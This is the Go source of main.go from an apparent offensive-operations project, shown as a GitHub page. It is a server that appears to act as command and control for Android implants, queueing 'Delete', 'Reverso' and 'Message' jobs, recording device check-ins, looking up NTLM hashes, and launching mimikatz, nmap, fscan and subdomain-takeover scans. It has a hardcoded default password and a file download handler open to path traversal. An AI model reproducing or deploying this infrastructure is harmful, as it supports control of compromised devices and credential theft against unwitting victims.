-
Notifications
You must be signed in to change notification settings - Fork 2
/
main.go
245 lines (202 loc) · 5.72 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
package main
import (
"database/sql"
"encoding/base64"
"encoding/json"
"errors"
"flag"
"fmt"
"io"
"io/ioutil"
"log"
"net/http"
"os"
"strconv"
"github.com/UD94/SecondOP/Common"
"github.com/UD94/SecondOP/Function"
)
var channel_password string
var ntlmdb *sql.DB
var linedb *sql.DB
var androids []string
var UserAgent string
type AutoGenerated struct {
Password string `json:"Password"`
Doldfile bool `json:"Doldfile"`
Action string `json:"Action"`
Type string `json:"type"`
Content []string `json:"Content"`
}
type ResponseJson struct {
Code int `json:"code"`
Content []string `json:"Content"`
}
func HandlePostJson(w http.ResponseWriter, r *http.Request) {
// 根据请求body创建一个json解析器实例
UserAgent = r.UserAgent()
var get_result AutoGenerated
var ResponseString ResponseJson
data, err := ioutil.ReadAll(r.Body)
json.Unmarshal(data, &get_result)
if err != nil {
return
}
if get_result.Password != channel_password {
ResponseString.Code = 5
ResponseString.Content = append(ResponseString.Content, "access denied")
} else {
switch get_result.Action {
case "dnsresolvr":
go Function.Dns_thread(get_result.Content[0])
go Function.Google_domain(get_result.Content[0])
ResponseString.Code = 0
case "config":
returncode, _ := Config_Workstation(get_result.Type, get_result.Content, get_result.Doldfile)
ResponseString.Code = returncode
ResponseString.Content = append(ResponseString.Content, "config")
case "md5":
result, err := Function.Md5_query(ntlmdb, get_result.Content[0])
if err != nil {
switch result {
case "nopass":
ResponseString.Code = 7
ResponseString.Content = append(ResponseString.Content, "not found")
case "nodatabse":
ResponseString.Code = 8
ResponseString.Content = append(ResponseString.Content, "database not ready")
}
} else {
ResponseString.Code = 0
ResponseString.Content = append(ResponseString.Content, result)
}
case "analysis":
switch get_result.Type {
case "nmap":
Function.Nmap()
case "fscan":
Function.Fscan()
case "mimikatz":
Function.Mimikatz(get_result.Content)
}
case "subhack":
Function.Subhackdomain()
case "query":
switch get_result.Type {
case "androidlist":
ResponseString.Content = androids
ResponseString.Code = 0
case "joblist":
file, _ := os.Open("Cache\\" + get_result.Content[0])
defer file.Close()
fileHeader := make([]byte, 512)
file.Read(fileHeader)
fileStat, _ := file.Stat()
w.Header().Set("Content-Disposition", "attachment; filename="+get_result.Content[0])
w.Header().Set("Content-Type", http.DetectContentType(fileHeader))
w.Header().Set("Content-Length", strconv.FormatInt(fileStat.Size(), 10))
file.Seek(0, 0)
io.Copy(w, file)
ResponseString.Code = 0
}
case "line":
htmls, err := Function.Linequery(linedb, w, get_result.Content[0], get_result.Content[1], get_result.Content[2])
if err != nil {
ResponseString.Code = 13
} else {
ResponseString.Code = 0
ResponseString.Content = append(ResponseString.Content, htmls)
}
default:
files, err := ioutil.ReadDir(`Cache`)
if err != nil {
panic(err)
}
ResponseString.Code = 0
for _, v := range files {
ResponseString.Content = append(ResponseString.Content, v.Name())
}
}
}
response, _ := json.Marshal(ResponseString)
fmt.Fprint(w, string(response))
}
func Config_Workstation(configtype string, content []string, Doldfile bool) (int, error) {
switch configtype {
case "dnsdomainconfig":
if Doldfile {
Common.DeleteFile("domain.txt")
}
for _, s := range content {
Common.Write_result(s+"\n", "domain.txt")
}
case "androidonline":
X, _ := base64.StdEncoding.DecodeString(content[0])
Y, _ := base64.StdEncoding.DecodeString(content[1])
_, err := Function.Lineinsert(linedb, string(X), string(Y), content[2], content[3], UserAgent)
if err != nil {
return 13, errors.New("onlineconfigerror")
}
code, _ := Function.Androidjobqeury(linedb, content[3])
int1, _ := strconv.Atoi(code)
androids, _ = Function.Linelist(linedb)
return int1, nil
case "md5config":
_, err := Function.MD5_insert(ntlmdb, content[0], content[1])
if err != nil {
return 13, errors.New("md5configerror")
}
case "androidjob":
var err error
switch content[0] {
case "Delete":
_, err = Function.Androidjob(linedb, content[1], "66")
case "Reverso":
_, err = Function.Androidjob(linedb, content[1], "67")
case "Message":
_, err = Function.Androidjob(linedb, content[1], "68")
}
if err != nil {
return 14, errors.New("joberror")
}
return 0, nil
default:
return 15, errors.New("not config")
}
return 0, nil
}
func Starthttps(ip string) {
http.HandleFunc("/post", HandlePostJson)
err := http.ListenAndServeTLS(ip+":443", "cert.pem", "privkey.pem", nil)
if err != nil {
log.Fatal("listen error:", err.Error())
}
}
func Starthttp(ip string) {
http.HandleFunc("/post", HandlePostJson)
http.HandleFunc("/debug", debug)
http.ListenAndServe(":80", nil)
}
func debug(w http.ResponseWriter, r *http.Request) {
data, err := ioutil.ReadAll(r.Body)
if err != nil {
return
}
linedb.Exec("insert into androids.debug(data) values(?)", string(data))
fmt.Fprint(w, string(data))
}
func main() {
var ip string
var ssl string
flag.StringVar(&channel_password, "p", "ud94iscreater", "连接密码,默认为ud94iscreater")
flag.StringVar(&ip, "i", "0.0.0.0", "监听ip,默认为0.0.0.0")
flag.StringVar(&ssl, "s", "false", "是否启用ssl,默认为false")
flag.Parse()
ntlmdb, _ = Common.InitDB("ntlm")
linedb, _ = Common.InitDB("androids")
androids, _ = Function.Linelist(linedb)
if ssl == "false" {
Starthttp(ip)
} else {
Starthttps(ip)
}
}